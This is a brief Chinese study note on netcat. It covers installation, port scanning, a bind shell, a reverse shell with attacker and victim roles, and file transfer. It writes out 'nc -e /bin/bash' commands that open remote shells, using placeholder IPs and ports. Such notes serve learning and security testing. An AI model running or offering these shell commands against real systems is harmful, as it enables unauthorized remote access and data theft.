【笔记】Netcat学习笔记
前言
netcat是个计算机网络公用程序,用来对网络连线TCP或者UDP进行读写。(维基百科)
下载依赖
Windows
MacOS
1 | brew install netcat |
探测端口
TCP
-v:显示细节
1 | nc -z <ip> <port> |
1 | nc -z <ip> <port_1> <port_2> |
UDP
1 | nc -zu <ip> <port> |
1 | nc -zu <ip> <port_1> <port_2> |
正向连接
受害者监听端口
-l:监听模式-v:详细模式-p <port>:指定端口号,可以省略-p
<port>:监听的端口号
-u:监听UDP端口,如果不指定则监听TCP端口
1 | nc -e /bin/bash -lvp <port> |
攻击者建立连接
<ip>:受害者的IP地址<port>:受害者的端口号
1 | nc <ip> <port> |
反向连接
攻击者监听反弹Shell
1 | nc -lvp <port> |
受害者反弹Shell
-e <exe>:转发指定可执行程序的输入和输出<ip>:攻击者的IP地址<port>:攻击者监听的端口号
1 | nc -e /bin/bash <ip> <port> |
文件传输
接收端
- 监听指定端口传输的数据,保存为文件
1 | nc -lvp <port> > <file> |
发送端
- 将指定文件作为输入,发送到指定IP的指定端口
1 | nc <ip> <port> < <file> |